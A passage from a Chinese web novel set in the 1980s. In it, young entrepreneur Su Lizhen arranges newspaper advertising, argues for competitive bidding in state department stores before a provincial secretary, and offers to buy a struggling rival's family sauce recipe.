刚好借着这次活动的余波,她打算找平常关系不错的报社刊登广告,准备在全省范围内招募加盟代理商。 原本她没有这么急的,毕竟年前他们才通过各县市的百货公司完善了全省的销售网,可出了第三和第四百货的事情后,她还是希望自己手上能掌握更多销售渠道。 如今的报纸受众虽广,但受限于各地交通物流水平欠发达,所以有一定滞后性,许多凤城当天的新闻报纸送到下面县市的时候已经是三、四天后了,偏偏凤城是省会,一向是本省人们的目光焦点,所以即便再晚也总有人想看。 继那天《凤城日报》率先报道了他们这次活动后,接连又有几家省内报社先后对他们进行采访报道。此外还有广播电台,最厉害的是活动倒数第二天开出特等奖的时候,在省电视台的早间新闻里出现了7秒钟的画面报道,可以说是本次活动最高光的时刻。 关键这么多新闻报道,却不用他们掏一分钱,相当于全部是公司免费的广告,而创造的影响力却是最一流的。 苏丽珍原本是想借着这个势头在电视和电台上都打一下广告,只是这两年可不比80年那会儿,随着改开形势越来越好,不少企业都意识到打广告的好处。尤其春节合家欢,有条件的一起坐在电视机前,差一点的守着录音机,总归春节档已经是当下最受欢迎的黄金时段了。 她想打广告,可人家电视和电台的广告位头两个星期前都排好了,可没法给她加塞。 苏丽珍只得退而求其次找报社合作,争取年前把事情定下来。 苏丽珍从昨天开始就在忙这件事,她计划一共联系了四家报社,今天下午是最后一家,也是跟他们关系最好的《凤城日报》。 因为李孟儒的关系,事情十分顺利,虽然时间卡得有点紧,但广告部的负责人还是痛快地答应了苏丽珍的要求。 至此,预计从大年初一开始,四家报社广告版首页都将连续七天刊登他们“珍珍”的招商广告。 合同签好后,苏丽珍临走前又去跟李孟儒打了声招呼。 李孟儒出来送她的时候,便顺口把常、陈二人的处理结果告诉了她。 常经理被免去第三百货公司总经理职务,个人档案记大过,年后大概率会被调到下面县市百货公司做普通科员。 陈经理因为没被查到什么实质性证据,自然没事。不过因为他跟着常经理“胡闹”,决策失误,以至于年前这几天第四百货收益不增反降,尤其是大量熟食商品滞销,引起很多职工不满,也被上面口头警告了一次。 苏丽珍心里暗叹李孟儒身为新闻工作者,果然“耳目灵活”,能第一时间知道常、陈二人被查的事也就罢了,居然还能这么快知道处理结果。 正想着,就听李孟儒说道:“那个常经理的事不算大,不过他这事出现的不巧。你知道,这两年市场上涌现了越来越多的个体户,尤其自去年下半年起,还多了不少像你们‘珍珍’这样的私营企业。” “有些个体户和私营企业自主生产的商品质量不差,有一部分甚至无论是成本还是质量上都能超过国营单位的产品。据我所知,市里一直有一部分人对允许个体户或者私营企业生产的产品进入百货公司上架销售这件事十分反感。” “他们认为这些私营经济生产的商品会挤占国营企业产品的销售空间,从而影响部分国营企业的利益;而且这些个体或私营企业大多还有规模太小、供货不稳定、卫生不达标等这样那样的问题。” “本来之前因为你们‘珍珍’名声大噪,带动了就业、税收等经济效应,难得有一部分人思想已经开始转变,只是这节骨眼又闹出常经理的事,很多人又开始摇头了。” 说着,他叹了口气道:“不少人又开始担心,以后会再出现像常经理这样的人,明面上打着一心为公的幌子,私下里与人联合攫取公家的利益。” “虽说很多国营单位也有不少问题,但怎么都不至于像这次‘好味’熟食那样闹得这么难看。” “珍珍啊,我之前一直想做一个这方面的专题,可能是我并不是真正的相关从业者的关系,稿子写出来总觉得不够一针见血。我不想要一份让人看着像‘和稀泥’的稿子,更不想只提出问题,而没有合理的建议,所以这件事,我希望能多多听听像你这样优秀从业者的见解,也许会有更多启发。” 第198章 李孟儒态度很谦逊,其实以对方的社会地位来说,他能主动开口邀请苏丽珍讨论这个话题,实则对苏丽珍来说是件很荣幸的事。 苏丽珍能看出他想做好这个专题的决心,而且从平日的接触来看,她知道对方很倾向于为那些社会名声和地位都不太好的个体户发声。 甚至在之前两年政策还有反复的时候,他也经常旗帜鲜明地发表一些支持私营经济的文章,这其实是很难得的。 跟她这个知道未来社会走向的重生者不同,苏丽珍更敬佩这些眼光深远、真正走在社会前沿的人,也感激对方为他们这些私营经济从业者的帮助,所以面对对方的问题,自然知无不言。 而李孟儒原本的计划是先跟苏丽珍约个时间具体聊一聊,没成想眼前的姑娘只稍加思索,便当场给了他答案。 “李伯伯,我想先说一下您之前那个问题。您说很多人担心百货公司对那些私营经济体开放后,会出现更多常经理那样的人。对此,我的看法是:私心重的人无论把他放在什么环境,他都免不了要做出损公肥私的事。” “究其根本,还是管理机制的问题,我能想到的最好办法还是制定和出台相关的法律法规,然后严格约束所有人照章办事。同时,提倡奖罚分明,做得好,自然要提拔重用;犯了错,该罚就要罚,换能者居之。指望人管人,只会累死人,所以想要长久,还是需要一套完善、公正的监管制度。” “担心出现以权谋私的人,那就尽量保证一切准进的流程公开公正。比如,国营单位产品也好,个体户或私营经济生产的商品也好,想进百货公司的柜台,可以先安排对这些产品与同类商品一起进行公开比较,也就是竞争性招标采购。” “竞争性招标采购。” 李孟儒细品着这几个字,越品,眼睛越亮,忍不住掏出随身携带的笔记本和钢笔,也顾不上天冷,开始飞速记录起来。 苏丽珍点头:“对,竞争性招标采购。如果谁的产品能在一众商品中脱颖而出,就说明这些产品本身是极为优秀的,那自然有资格进入百货公司,而且也会更加服众。” “竞采的流程必须落实相关责任人,一旦通过竞采的商品上架出售后出现任何质量问题,当初负责竞采的相关责任人也要受到惩处。” “这个办法好!”李孟儒边记、边点头。 落实到相关责任人,也能尽量杜绝那些私底下的小动作。 苏丽珍看他这样,越发多了谈兴,侃侃而谈道:“至于您之前说担心这些个体户和私营经济会挤占国营企业的市场空间,我不这么认为。” “好东西是比出来的。我曾翻看过十年前的旧报纸,即使是吃大锅饭的年代,也有很多企业提倡技术创新,会争相举办或者参加一些技术革新比赛,究其目的,他们自然是为了完善自家产品,以期生产出更多技术过硬、质量更高的产品。” “既然那个时候能比,在市场逐渐开放的当下,为什么就t不敢比了呢?咱们就不说那些私营经济,只说同样是国营单位,现在有些外省大厂的东西也陆续开始进来了,比如海市那边的服装和日化用品,苏杭的尼龙袜子,粤省那边的小饰品,难道他们就没挤占本地同类商品的销售空间?” “所以根源不是谁挤占谁的问题,是你的东西本身在面对竞争的时候就不够优秀,或者说无法打动消费者。这些压力其实可以看做是一种动力,能够鞭策生产者不断完善自己,去追求更高、更远的目标。” 而且过几年,当外资品牌携带着技术水平更高、包装更洋气、知名度也更响亮的商品进来时,带给本土企业的冲击那才是真正的天翻地覆。 面对那样的局面,这些本土企业毫无招架之力不说,还会被那些贪心的豺狼狠狠拆吃入腹。到那时,又有哪家被无情吞噬的企业当初不是牛气的国营单位? “另外,我认为允许百货公司对那些私营经济开放对百货公司本身也是一件好事。如果顾客可以在外面直接买到同样质量,甚至质量更高、价格更低的商品,那他们为什么非要大老远跑去百货公司呢?毕竟据我所知,外面一些小摊贩做起生意一向很灵活。” 其实她更想说的是服务态度的问题,这也是九十年代末百货公司集体倒闭的主要原因之一。不过这话,她现在不好多说,毕竟“珍珍”现在的主要销售渠道之一还是各县市地区的百货公司,不好叫人说他们放下碗“骂娘”。 话说回来,这可不是过去,人们没得选,不得不捏着鼻子忍着你。在市场逐渐开放的当下,服务态度本就不好,如果商品又做不到优而全,那大家凭什么还选你? 所以她只轻描淡写地总结了一句:“有时候,人们是直接用脚投票的。而习惯很容易变成自然,到那时,就没有什么是不可替代的了。” “说得好!” 苏丽珍这边话音刚落,就听身后有人拍着手喝了声彩。 两人侧头,却见报社大门口处不知什么时候站了七/八个干部模样的人。 原来刚刚她和李孟儒一个说、一个记,两人都专注的厉害,来了这么多人竟都没发觉。 刚刚鼓掌叫好的正是打头一个五十多岁、穿一身银灰色中山装的老者。 苏丽珍刚觉得这老者有几分眼熟,就听旁边李孟儒激动道:“刘书记!” 他这么一喊,苏丽珍一下就想起来了,这张面孔是她在报纸上看到的省里一把手刘书记! 刘书记先跟李孟儒握了握手,夸他“笔杆子”犀利有劲儿,他爱看得很,叫他今后务必多写。 刘书记的肯定和赞扬让一向稳重如李孟儒也难得激动地红了脸,赶忙表态,今后会更加努力,争取写出更多人民群众满意的文章。 跟李孟儒说完话,刘书记才又把目光重新投到苏丽珍这边,语气和蔼中透着欣赏:“这位小同志很有见地嘛!” “好东西是比出来的!” “人民群众是会用脚投票的!” 他偏过头对身后一起来的几个干部夸道:“小同志这两句话言简意赅,却振聋发聩,值得人深思啊!” “我们的一些同志如果在工作中能时刻保有这样的志气和眼光,又何愁没有进步呢?做事业就是逆水行舟,一直原地踏步就等于是在退步,那早晚会被人落下的。” 随行的几人也纷纷点头,看向苏丽珍的目光都饱含赞许。 这几个人里苏丽珍唯一认识的一个就是谢芳芳的父亲,谢书记。这时便适时对刘书记笑着介绍道:“刘书记,您有所不知,这位苏丽珍小同志来历可不一般。她是‘珍珍’食品公司的创始人兼总经理,还是咱们凤城去年的文科状元,如今首都大学的大一新生。” 这么好的机会苏丽珍自然要把握住,连忙脆生生应道:“刘书记,您好,我叫苏丽珍,是咱们凤城本地人,今天很荣幸能见到您!” 刘书记先是哈哈大笑:“小苏同志,我也很高兴能认识你。” 又说:“原来你就是搞买东西带抽奖的‘珍珍’老板,哈哈,果然自古英雄出少年啊!难怪能说出这么有见地的话,好,真好!” 刘书记这趟来是春节期间的例行走访,时间有限,不能跟苏丽珍他们多聊,但临走之前,他还是不忘叮嘱苏丽珍道:“小同志,好好干,我看好你!” “如果遇到什么困难,也可以来找我。”说着,居然让身后随行的秘书把自己办公室的电话直接留给了她。 就这一个动作直接让苏丽珍激动够呛! 要知道这不单单代表了她以及她的“珍珍”在省里一把手面前挂了号,同时也是对方给予她的一个承诺。如果她今后真的遇到什么难题向上面求助,对方肯定会在职责范围内帮一把。 只这一个承诺就价比千金,绝对是赚到了! 苏丽珍站在原地激动了好半天,一张脸也不知道是冻得、还是高兴的,通红一片,倒是把旁边同样跟着傻乐的李孟儒吓一跳。 “你这孩子,可别冻感冒了!” 担心她冻坏了,他一边催促苏丽珍赶紧回家,一边不忘叮嘱道:“孩子,刚刚这事你心里得有个数,好事是好事,可也别多声张,要不然落在有心人眼里,好事就变坏事了!” 李孟儒这话绝对发自肺腑。这世上总有人恨人有,笑人无,最是可恶。如果苏丽珍抑制不住内心激动,把这事宣扬出去,那话传着传着保不齐就变了味,到时候惹得上面不满,那就白瞎这么好的机会了。 苏丽珍心里感动,先是谢过李孟儒的提醒,然后主动提起如果对方的专题方面还有什么想聊一聊的,可以随时来找她。 李孟儒自然欣然同意。 告别李孟儒后,苏丽珍正打算坐公交车回厂子,就碰上特意来接她的苏振东了。 “珍珍,快上车!” 等她坐好后,苏振东才发动车子:“怎么样?一切都顺利吧?” 苏丽珍点头:“都谈好了,广告合同也已经拿到手了。” 接着,又把刚刚碰见刘书记的经过告诉了对方,苏振东听完果然也高兴得合不拢嘴。 不过,他也很赞同李孟儒的提醒,能得刘书记看重、照拂固然是好事,可也怕有人因此眼红嫉妒,平白生事,那就麻烦了。 叔侄俩暗自约定这事回去后就不声张了,而且对于刘书记这个承诺,更是能不用就不用,要把这“好钢用在刀刃上”。 结束了这个话题,苏丽珍又问苏振东这边怎么样。 今天下午两点,活动结束,他们的五家直营店在清点、收拾完之后,苏振东直接给大伙儿发了一笔奖金,然后就给他们放假了。 他自己则是又分别跑了一趟第一和第二百货公司。 这次抽奖活动的所有奖品全部是由两家百货公司出货,还有那些代金券,年前这段时间抽到的顾客已经花去了不少,这些费用实际都是由“珍珍”公司来支付。 虽说他们这次搞活动,给两家百货公司引流,带来了十分可观的经济效益,但是亲兄弟明算账,所以这边活动堪堪结束,苏丽珍就让苏振东过去把账目结清了。 苏振东这边也是一切顺利,毕竟是去送钱的,又不是傻子,谁会这时候找麻烦。 吕、刘二人也确实是对苏振东第一时间结清钱款的举动十分满意,两人没口子地夸他们讲究、仗义,还悄悄把有关常经理的处理结果告诉了他。 苏振东回来跟苏丽珍提起这事,还顺嘴道:“珍珍,我看姓常的处理结果一出来,吕经理倒是比咱们还高兴。” 苏丽珍倒是一点不奇怪。常经理一声不吭突然带头撕毁合约,这事做的踩了他们“珍珍”的脸面不说,也着实是没给当初牵线搭桥的吕经理面子。 要不然后期吕经理也不会一直主动帮他们打听常、陈二人那边的情况,未尝没有想借着他们的手收拾一顿常经理的意思。 没准儿,姓常的会这么快被处理,这里面也有他的份儿呢。 只能说是姓常的平时就狂妄自大惯了,偏偏又没有能跟得上野心的实力,自然落得个墙倒众人推的下场。 不过苏丽珍也拿这事暗暗提醒自己,这些在体制内摸爬滚打多年的人,各各都是“老油条”,手里不定捏着多少底牌,像姓常的这样得志就猖狂的还是少数。今后她还是要谨言慎行,她的“珍珍”这一路发展本就免不了t树大招风,她就更不能平白树敌。 苏振东的车子一路开回公司。厂房这边,工人们连轴转忙了小一个月的时间,明天就是除夕了,所以今天下午也和直营店的员工们一样,提前放假。 这会儿大家都在二楼财务室排队等着领钱。 大家过年的福利早在十天前就发下去了,今天发的是奖励大家这段时间辛苦的奖金。 工人们捏着到手的一沓钞票,各各眉开眼笑,看到苏丽珍和苏振东回来,纷纷主动打招呼。 苏丽珍看大家喜笑颜开的样子,心里也十分高兴。 等各部门的人领了奖金下班后,苏丽珍和苏振东、王树、齐志飞一起又把厂房里外走了一通,然后才一一关门落锁。 这次公司放假六天,初六开工。放假期间,公司的八名保安一共分成两组,轮流倒班。 这几个保安都是当初消防唐大队长和沈瑞二哥介绍过来的退役军人,大多数家都不在本地。苏丽珍跟他们定好,等年后复工,大家再轮流休假。 对此,几个人不但没有意见,反而特别高兴,因为过年这几天公司给他们发三倍工资不说,还额外给他们采买了一批鸡鸭鱼肉,叫他们自己开火,平时休班还能过来听听收音机、看看书报! 说实在的,这待遇就算他们在家也没这么好,这班上的说一句享福也不为过。 从公司出来,苏振东先开车把王树和齐志飞都送回家,然后才拉着苏丽珍回火锅店。 叔侄俩前脚刚进店,丁大勇就抱着一兜子瓶瓶罐罐过来了。 他跟大家打了声招呼就迫不及待从兜子里掏出一个个玻璃罐头瓶。因为室内外温差太大,玻璃罐上立刻沁出一层白色雾气,众人一时竟看不出里头装了什么。 还是苏丽珍想到之前拜托丁大勇做的事,不由问道:“大勇哥,你买到江家的酱菜了?” 一边问,一边拿起离得最近的一个玻璃瓶,擦掉上面的雾气,果然露出里面的一点酱菜。 第199章 苏丽珍看了看,这一瓶是只有拇指长的酱黄瓜,而且量很少,里面拢共才三根小黄瓜。 丁大勇点头道:“对,就是那个江宏达家的酱菜。” “之前你不是让我帮忙弄一点他们家的酱菜吗?哪成想,他家这段时间一直做各种熟食,之前做的酱菜也都随着最开始卖熟食都搭出去了,一时还买不着。” “后来是英杰听说你想要,多亏他帮忙,拐了好几个弯,这才从江家一个老主顾那里买到了一点,只是数量都不多。不过英杰细心,凡是江家做出来的酱菜,他每种都帮你弄了点,加在一起也不少。” 苏丽珍一听还有顾英杰帮忙,不由点头道:“那是得谢谢他!对了,他没和你一起过来吗?” 丁大勇摇头,笑着打趣:“你还不知道他这人,干活能找着他,邀功请赏那肯定往后稍。” 苏丽珍闻言也笑了起来:“那我可不能让他白忙,待会儿就劳师兄你再跑一趟,晚上咱们请他吃饭。” 说话间,苏小麦拿来一把筷子。上次江家的五香鸡让大家印象深刻,所以一听说这次是品尝他们家的酱菜,苏厚德和李翠英也十分感兴趣, 江家的酱菜种类不少,有小黄瓜、小土豆、豇豆、辣椒、胡萝卜和地环。 苏丽珍每一种都尝了尝,除了小土豆是软绵的口感外,其他几种都十分脆爽,而且每一种酱菜在保留了原本的蔬菜口味特点之外,都有一股十分浓郁的酱香味,同时又略微带了点酸辣口,吃起来入味还上瘾。 她觉得这会儿要是再给她一碗粥来配,那真是一点也不比大鱼大肉的吸引力差。 不光她这么想,李翠英尝完了也感叹道:“难怪干爸总把‘天外有天’这话挂在嘴边,我今天是发现了,就这一个小小的酱菜里头也有不少门道。” “这个味道我是做不出来的!” 苏厚德也点了点头,看向苏丽珍道:“这个酱菜基本已经到了改无可改的地步,你妈说的对,我们基本上很难再超越了。” “这个酱菜的味道很明显,他里面用到的酱料应该就是他们家五香鸡里的那一味秘料,两者至少是同源。” 听老爷子提起酱料,丁大勇一拍脑门:“看我这记性,英杰提过,他在打听卖家的时候,听人家说过,这老江家自己做的酱也是一绝,不过卖的少,一般都是些积年的老主顾去了,人家才会送一碗。所以原本英杰也想买点回来给你们尝一尝,人家卖家说啥也没舍得。” 听他这么一说,便是不怎么会做饭的苏振东他们也听明白了,江家不管是卤味、还是酱菜,好味道的根源应该都在他们家的酱上。 苏丽珍听罢,垂眸不语。 她之所以这么在意江宏达的事,是因为她明白作为生产者,一款食品的核心始终是味道。味道好了,就算处境再糟也仍有希望,只要沉得住气,早晚会等来慧眼识珠的人。 就拿江宏达举例,如果给他一个更加宽松的研发和生产条件,假以时日,他的“好味”未尝不能真正跟他们打擂台。只可惜在创业初期就遇上急功近利又贪婪自大的常经理,这个头没开好,连带有一定潜力的“好味”也受到重创。 可以说江宏达有一大半是输在人事上,至于他的东西其实还是可圈可点的。 既然对方手上确实有好东西,而他现在又没有能力独自发展,那为什么不能是她来作这个合作者呢? 至少,她怎么都不会比常、陈二人差吧! 苏丽珍打定主意,再次开口:“大勇哥,你把你们了解到的关于江家的事再详细跟我说说。” 大年三十,大清早,天还蒙蒙亮,外边就响起稀稀拉拉的炮仗声,彰显出这年终岁尾最后一天的与众不同。 江宏达从早已经冷透的被窝里爬起来,摸黑叠好被,下地就着炕边脸盆架上昨夜剩的一点水胡乱搓了把脸,一夜没睡、有些发皱的眼皮立时被冰的一激灵,那股子干涩发硬的劲儿一下散去了不少。 他深吸一口气,从堆放着各种卤味熟食的小屋里艰难地挤出来,开门进了灶房。 江家两间半的房子是典型的东北房屋格局,东边大屋住着江母和江家大女儿母女,西边小屋是江宏达的,两间房正中间夹着半间灶房。 江宏达一打开房门,就见大姐已经起来,正坐在靠近自己这边小屋的灶台前准备生火。 江宏达过去将灶房的灯绳拉开,江大姐见屋里灯亮,忙下意识往拴着灯绳的方向望去,果然见弟弟已经起来了。 她赶忙起来,朝着江宏达一阵比划。 江宏达忙打着手语回她:“不睡了,一会儿要赶着去给咱妈拿药,十点以后人家就休息了。然后我顺便再到街上转转,有些单位放假晚,说不定还能卖一点货。” 顿了顿,他又劝对方:“别生我这边炉子了,反正我一会儿还得出去。你把你和妈这边的炉子生起来,过年了,多烧一点,不差这点煤。” 江大姐看了弟弟的话,犹豫了一瞬,想到病弱的母亲,最后还是选择听弟弟的,转去生东边的灶台。 惦记弟弟一会儿要出去,江大姐生好炉子就忙不迭开始准备早餐。 从装粮食的袋子里舀出一碗高粱米,江大姐想了想,又倒回去,转而从旁边的大米袋子里舀出成年人拳头大的一点大米,估摸着应该够自家弟弟吃了。 正要把碗放回去,就见横里忽然伸出一只大手,一把接过米碗,从米袋子里又直接舀出一碗白花花的大米,跟江大姐手里的那点大米倒在一起。 江宏达放下米碗,就快速给姐姐打手语:“要吃一起吃,要是单独给我做,我就不吃了。” 江大姐看着弟弟严肃而坚决的脸,眼角微红。 今天江家的早餐是大米白粥配卤鸡鸭杂。 家里这段时间攒了很多鸡鸭杂,即便给为数不多的交好的邻居亲友都送过了,家里还是不少,只能上顿、下顿吃。 可即便这样,这仍然是江家人心里的好东西,江母和江大姐都舍不得吃,一个劲儿把盘子往江宏达面前推。 江宏达前阵子不是在杀鸡宰鸭,就是在不停把这些东西做成熟食,不知道是不是忙得狠了,还是心理因素,这两天他看见这些t东西就忍不住反胃。 可是看着兀自吃得香甜的江母和江大姐,他只能强压下这种不适,硬逼自己囫囵着吃下一碗粥,就放下了筷子。 跟母亲和姐姐打了声招呼,江宏达就从自己的小屋里装上一木箱熟食,放在自家破旧的二手自行车后座上,推着车子准备出门。 临出门前,江大姐忽然跑出来,一把拽住他自行车,然后往他衣兜里塞了两颗热乎乎的煮鸡蛋。 江大姐还跟他比划:“一碗粥不顶饿,姐姐给你煮了鸡蛋。” “待会儿饿了就吃,不吃饱肚子,人会垮掉的。” 江宏达鼻头一酸,忙点头跟姐姐保证,一定不会饿肚子,这才在对方担忧的目光下匆匆骑车离开。 他先去替江母取药,因为出来的太早,还在人家药房门口多等了半个小时。 拿到药后,他推着车子开始在大街上漫无目的地走着,偶尔遇上人,便打起精神吆喝两声“五香鸡”“五香猪肉”。 只是不知道是不是因为今天除夕的缘故,大街上的行人很少,即便碰上也大多行色匆匆,他那一木箱子的熟食也就一直无人问津。 也不知道走了多久,路上越发没个踪影,等他反应过来,这才发现自己居然不知不觉走到了城郊处。 往前再走个三、四百米就是他租来充作临时加工点的旧仓库了。 实际上,这个加工点昨天就已经清理得差不多了。 前几天加班加点做出来的熟食都被百货公司退回了,他只能都拉回家,堆在他那间小屋里。 剩下一点没下锅的活鸡活鸭、猪肉下水、油盐调料,连同烧火的煤块一起,都被他送给雇来的工人抵了一部分工资。 现今那仓库里只剩下几口笨重的大铁锅,因为家里实在放不下,只能暂时存放在这里,等年后想法子处理。 他脑海里不停浮现昨日处理仓库的一个个画面,虽然心里也明白那空荡荡的地方没什么好看的,可两条腿就像有自己的意识一般,不由自主就走了过去。 他掏出大门钥匙,将门打开,里头果然还是那副破败陈旧的样子。 他站在原地看了许久,又慢慢把门合上,重新上锁。 天气太冷,这门锁也跟这旧仓库一样,浑身撒发着行将就木的气息,大冷天他硬是憋出了一脑门子汗才勉强锁上。 江宏达伸手抹了把脸上的汗,抹着、抹着,眼泪也跟汗水一起不知不觉就落了满脸。 不知过了多久,直到远处响起一阵炮竹声,他才吸了吸鼻子,用袖子胡乱把脸擦干,重新骑上自行车往回走。 与来时不同,回来顶风,他车子也骑不快。不过不快有不快的好处,路过市区客运站的时候,有人看见他后座木箱上用粉笔写的“五香鸡”,便开口叫住了他,花两块五毛钱买了一只五香鸡。 家里的熟食太多了,即便是冬天,放时间长了也会走味,必须尽快处理,所以他现在就卖个成本价,只盼着能卖一点是一点。 现在两家百货公司都把他的货给退了回去,昨天常经理和陈经理更是直接一脸凶狠地威胁他,让他必须尽快把他们当初“借”给他的订货钱还回来,丝毫不提当初他们如何软硬兼施地让他答应先拿了这笔钱,好尽快扩大生产抢占市场。 曾经信誓旦旦说好是三人共同承担的款项,如今也都悉数成了他江宏达一个人的债务。 他不甘心,可他更恨自己! 恨自己贪心不足,明明知道姓常的不是妥善之人,却心存侥幸,抱着赌徒心里不管不顾就一头栽进去。 可事实证明,赌徒是没有好结果的,所以他才会沦落到今天这个下场。 所以比起恨别人,他最该恨得是他自己! 他不自觉攥紧了手里的钞票,等反应过来,又赶忙松开手,然后珍惜地把几张钱币重新捋好,正准备踹进上衣兜里,忽听身后有人大声吆喝道:“围巾、围巾啊,海市来的时髦围巾!” 江宏达下意识转身看过去,就见一个扛着包袱、手臂上挂了好几条花花绿绿围巾的男人正在沿街叫卖。 他一眼相中了男人胳膊上一块大红色的方形围巾,忍不住上前问了一嘴。 今天三十,街上人少,男人的买卖也不好,一见江宏达问价,立时热情地凑过来道:“兄弟,你这眼光真好,这围巾颜色正,厚实还保暖,是海市那边最流行的款式。你这样,今天过年,我给你算便宜点,这条大红色你给我三块钱就行!” 江宏达捏着手里的钱,抿了抿嘴唇,没接茬。 那男人看出他嫌贵,忙又道:“大兄弟,老话说相逢就是有缘,那我再吃亏点,你给两块八!两块八,你就把这围巾拿走!” 江宏达还是不吭声,那男人咬了咬牙:“那兄弟,你说,你想给我多少钱!” 江宏达犹豫着报了一个价,对方不肯,两人你来我往了半天,最终他以两块四毛钱的价格买下了这条红围巾。 跟男人要了张报纸,将围巾仔细地卷好,用草绳系紧,挂在自行车把手上,他心情一时间好了不少。 他曾经看过大姐一脸稀罕地瞅着隔壁同龄的小媳妇戴着红围脖的样子。 今天这条红围巾,想必她也会喜欢的。 这一刻,他选择暂时把那一堆卖不掉的熟食和年后将要面临的巨额债务通通抛在脑后,只想着快点回家,把这条鲜艳的围巾送给姐姐。 不知道是不是一门心思想着这件事,连经过胡同口时看见那里少见地停了一辆军绿色大吉普,他都没在意。 等到了家,刚进院子,就听见屋里飞快传来江母的声音:“哎呀,这孩子可回来了!” 这声音不复这几日的病弱,竟好像隐隐带了点振奋。 他心里诧异,莫非是家里来了什么人? 可不应该啊,他们家日子艰难,亲戚们躲都来不及,又哪里会主动上门? 就在这时,屋门被一把推开,他大姐一脸欣喜地迎出来,紧接着就是一男一女两个陌生的年轻人。 他感觉到两人打量的目光,正想开口问对方什么人,就听打头的那位极年轻的漂亮姑娘率先开口道:“江宏达,你好。我是‘珍珍’食品公司的负责人,苏丽珍。” 之后,接下来的一切就让江宏达仿佛做梦一般,他甚至有点记不清自己跟对方都说了什么,大脑更是一阵一阵地陷入恍惚中。 直到对方离开,大姐抱着他又哭又笑,手上的动作比划得飞快。 她说:“小达,太好了,你不用担心那些熟食卖不掉,苏总答应帮忙全包了了!” 半坐在炕上的江母也高兴道:“是啊,这回好了,而且不管之后咱是直接要钱、还是拿分红,咱们都能缓过这口气了。苏总可真是咱们家的贵人啊!” 第200章 江宏达反应了好一阵。 对,跟他想的不一样,刚刚登门的这位“珍珍”公司的苏老板不是来兴师问罪,而是来找他谈生意的! 对方想买他家的酱方子,甚至提供给他两个条件都不错的选择方案:第一个是一次性支付给他两万块钱;第二个是“珍珍”公司今后所有用到江家酱方的产品,每年收益的2%分红。 两万块钱就不说了,现在万元户可是能上报纸的程度。 再说那2%的分红,更是诱人。 虽然当初常经理为了推他,强行跟“珍珍”解约,可他心里明白对方不过是看着他好拿捏,打着将来架空他,让他给对方打工的心思。 真说起来,他的“好味”跟“珍珍”可压根没什么可比性。 现在苏老板想要开发用他家酱方制作的熟食,说明他们已经猜到了他“好味”产品的配方核心,而且以“珍珍”的实力,酱方到了他们手里,那生产出来的东西必然会比他自己的“好味”更胜一筹。 尤其在他看来,“珍珍”不但产品质量过硬,口味绝佳,连销售手段也是一流。年前这个抽奖活动可是直接把常、陈和他三个人都直接打趴下了,他们毫无还手之力。 所以如果能拿到新生产线收益的2%,这个条件可以说是极大方了,毕竟这可不是一年、两年,是长期有效的。 另外,不管选择哪个方案,只要他答应卖方子,作为附带条件,苏老板还愿意以市场价买下他现在手上t所有的熟食存货。 江宏达掐了一把自己的大腿,钻心的疼痛告诉他这不是做梦。 可这世上真的有这种好事吗?他还是有点不敢相信。 江母和江大姐看他一直不出声,忍不住问他怎么了。 他顺嘴把心里的想法说了出来。 没想到,江母直接笑了起来:“你啊,该精的时候偏犯糊涂。不会有错的,她带的那些报纸和文件,你不是也看过了吗?这姑娘虽然年轻,却实打实是‘珍珍’的老板。既然人是真的,事就不会假。” “再说,咱们家这样,也不值当人家那么大的老板上门来骗人。” 江宏达一想也是。他不禁有些羞愧,现在的自己就像是惊弓之鸟,看谁都疑神疑鬼,不复从前爽快。 江母又道:“人家苏总开出的条件诚意十足,对咱们来说是打着灯笼都找不着的好事!别的,妈不干涉你,只是如果这事情能谈下来,虽说人家当时说愿意帮你处理掉手上积压的熟食,可咱们自己也得有分寸。苏老板仁义,妈看咱们也别提什么市场价,只要她给个成本价就行了。” “等回头卖了钱,你就把钱给人家送回去吧。” 一听这话,江宏达忍不住抬起头,有些艰难道:“……妈,你都知道了?” 江母叹息着道:“是隔壁你赵婶子来说的。你别怪她多嘴,她也是一片好心,你这段时间雇他们老两口的工钱,她昨天悄悄过来送回来一半。不过,我没要。” 就算赵婶子不来,她也知道出问题了,要不然怎么加班加点赶出来的货不往百货公司送,偏偏都堆在家里。 这孩子还联合他姐姐骗她,说什么百货公司库房没有地方。 这么明显的谎话,她怎么可能看不出来。 江宏达越发羞愧地说不出话。 “妈,我……” 江母朝他摆了摆手:“孩子,啥也不用说了,妈都明白。你还年轻,走了岔路也是正常,只要咱虚心改正,前面的路总会越走越宽的。只是妈要说一句,不管当初是什么情况,既然你选择拿了这钱,眼下这后果你就要担下。” “这也算是一个教训,你要时刻记着,我们有多大的能耐,就端多大的碗,做人不能太贪心。” 江宏达重重点头:“妈,您放心,我都记住了!” 之后,他又有些沮丧:“妈,对不起,为了我,连累你把酱方子卖掉。” 江母失笑:“你这孩子,怎么还钻上牛角尖了。咱们这儿谁家不下酱?别说人家苏老板肯花那么大的价钱,就是当初街坊邻里过来问,妈不是也都教过?” 江母的酱方是从婆婆那里学来的,早些年确实有人登门来打听过,江母也都教了。 后来江宏达返城没工作,决定摆摊卖酱菜。江母为了支持自己儿子的事业,花了心思把酱方改良,才最终有了今天的美味。 那会儿大家都知道江家靠这口酱菜挣钱,也就没人那么不识趣上门打听了。 江母想想还觉得庆幸,要是从前的老方子,可不止她一家知道,那她现在就算想卖方子帮儿子也不成了。 江母朝着儿子和女儿招了招手,让两个孩子坐到她身边。 “你们是妈的宝贝,妈什么都愿意给你们,更别说一个酱方子。妈现在就想多活几年,看着你们好好的,那妈才能放心去见你们爸爸。” “妈!” 江家姐弟都忍不住泪流满面。 江宏达心里更是狠狠告诫自己,今后一定要稳扎稳打,不能再贪功冒进,更不能再连累母亲和姐姐。 同一时间,苏丽珍和丁大勇也在说江家的事。 丁大勇几乎是一上车就忍不住问道:“珍珍,你为什么突然答应帮忙处理他们手里积压的存货?” 今天已经除夕了,基本上家家的年货都已经置备齐全,加上前段时间的抽奖活动,市场绝对是饱和状态。这段时间,别说江家的熟食,就连珍珍自己公司的产品都不怎么好卖。 而且据他了解,江宏达的那批熟食可没有抽真空包装,就算现在天气冷,可熟食放时间长了也一样走味,甚至会受潮变质。本来以市场价收购就很不划算了,又要想法子在短期内脱手,这不是摆明要亏本吗? 明眼人都能看出来的事情,苏丽珍又怎么会不清楚,不过她还是这样做了。 因为对方是她信重的师兄,所以她也坦言道:“这件事确实是我的问题……大概是江家人的情况,总是让我想起当初的我和你,一时上头,便忍不住做了这个决定。” 不过她也不是完全烂好心。她留意到,江家这一家三口,除了生病的江母外,江宏达和江大姐无论是气色、还是瘦削程度都差不多,身上的衣服也一样老旧,甚至江宏达衣服上的补丁还比江大姐多了点。 